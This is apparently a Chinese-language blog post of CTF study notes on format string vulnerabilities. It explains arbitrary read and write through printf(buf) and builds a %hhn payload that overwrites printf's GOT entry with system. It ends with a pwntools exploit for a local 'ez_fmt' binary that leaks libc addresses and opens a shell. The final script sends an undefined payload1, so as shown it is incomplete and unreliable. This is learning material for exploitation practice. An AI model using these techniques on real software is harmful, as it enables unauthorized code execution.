格式化字串(summer2024_fmt)

Jexy-kynner*^發表於2024-07-30

參考部落格


[參考部落格]: https://blog.csdn.net/ysy___ysy/article/details/135700140
[參考部落格]: https://blog.csdn.net/2402_83422357/article/details/139180404
戳此切大佬部落格
https://blog.csdn.net/Morphy_Amo/article/details/122215773
https://blog.csdn.net/song_lee/article/details/103936833
!!!!https://www.yuque.com/hxfqg9/bin/aedgn4#WbamY
https://bbs.kanxue.com/thread-268850.htm
https://blog.csdn.net/mcmuyanga/article/details/113242453
https://www.cnblogs.com/hetianlab/p/15002398.html
https://www.cnblogs.com/VxerLee/p/16398761.html#任意地址記憶體覆蓋任意寫

格式化字串

漏洞

當printf()的引數含有格式化字串時就有可能洩露記憶體相關的東西,比如printf(buf)
利用它可以進行任意讀或任意寫

任意讀

首先我們要確定我們輸入的內容對應printf的第幾個
[方法]{.kbd .red}
輸入aaaa%p%p%p%p%p%p%p%p%p%p看程式對應輸出的是第幾個

64位程式是存在暫存器上rdi,rsi,rdx,rcx,r8,r9,然後是棧上,具體第幾個用gdb調

如輸出第五個引數可以寫為%4$s,第六個為%5$s,需要輸出第n個引數就是%(n-1)$[格式化控制符]。因此我們的payload可以簡化為”\x01\x80\x04\x08%5$s”

任意改


如果想要改整個地址

%n  一次性寫入4個位元組
%hn  一次性寫入2個位元組
%hhn  一次性寫入1個位元組
#思路:向 printf_got 中 寫入 system_plt
# 我們把  printf_got 最低位位元組 覆蓋成 0x60  一位元組 寫入 %hhn
# 我們把  printf_got 最低位位元組+1位元組 覆蓋成 0x83  一位元組 寫入 %hhn
# 我們把  printf_got 最低位位元組+2位元組 覆蓋成 0x04  一位元組 寫入 %hhn
# 我們把  printf_got 最低位位元組+3位元組 覆蓋成 0x08  一位元組 寫入 %hhn
payload=p32(printf_got)      #0x60          # 偏移  為 7
payload+=p32(printf_got+1)   #0x83          # 偏移  為 8
payload+=p32(printf_got+2)   #0x04          # 偏移  為 9
payload+=p32(printf_got+3)   #0x08          # 偏移  為 10
payload+="%"+str(0x60-0x4*4)+"c%7$hhn"        #0x60          # 偏移  為 7
payload+="%"+str(0x83-0x60)+"c%8$hhn"         #0x83          # 偏移  為 8
payload+="%"+str(0x104-0x83)+"c%9$hhn"        #0x04          # 偏移  為 9  #由於是hhn所以會被截斷,只留後兩位
payload+="%"+str(0x8-0x4)+"c%10$hhn"          #0x08          # 偏移  為 10

有一個還挺方便的函式payload = fmtstr_payload(偏移,{原地址:目的地址}) [但是好像只能是32位]{.kbd .red}

wp

from pwn import *
from LibcSearcher import *
context(log_level = 'debug', os = 'linux', arch = 'amd64') 
p = process('./ez_fmt')
#p = remote('127.0.0.1',46587)
elf = ELF("./ez_fmt")
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
pop_rdi_ret=0x4012d3
payload = b"aaaa" +b"%7$s" + p64(printf_got)
'''
gdb.attach(p)
pause()
'''
p.sendline(payload)
p.recvuntil('aaaa')
printf_addr = u64(p.recv(6).ljust(8, b'\x00'))
print("printf_real_addr ---> ", hex(printf_addr))
libc=ELF('./libc.so.6')       
libc_base=printf_addr-libc.sym['printf']      #libc的真實的基址=puts的真實地址-puts相對於libc基址的偏移量
bin_sh_addr=libc_base+libc.search(b"/bin/sh\x00").__next__()#'/bin/sh'的真實地址=libc基址的真實地址+'/bin/sh'相對於libc基址的偏移量
sys_addr=libc_base+libc.sym['system']
print("sys_addr:{}".format(hex(sys_addr)))
print("binsh_addr:{}".format(hex(bin_sh_addr)))
#payload2= b'%' + str(system_real_addr) + b'c' + b'%7$n' + p64(printf_got)
'''
gdb.attach(p)
pause()
'''
p.sendline(payload1)
p.sendline(b'/bin/sh\0')
p.interactive()

相關文章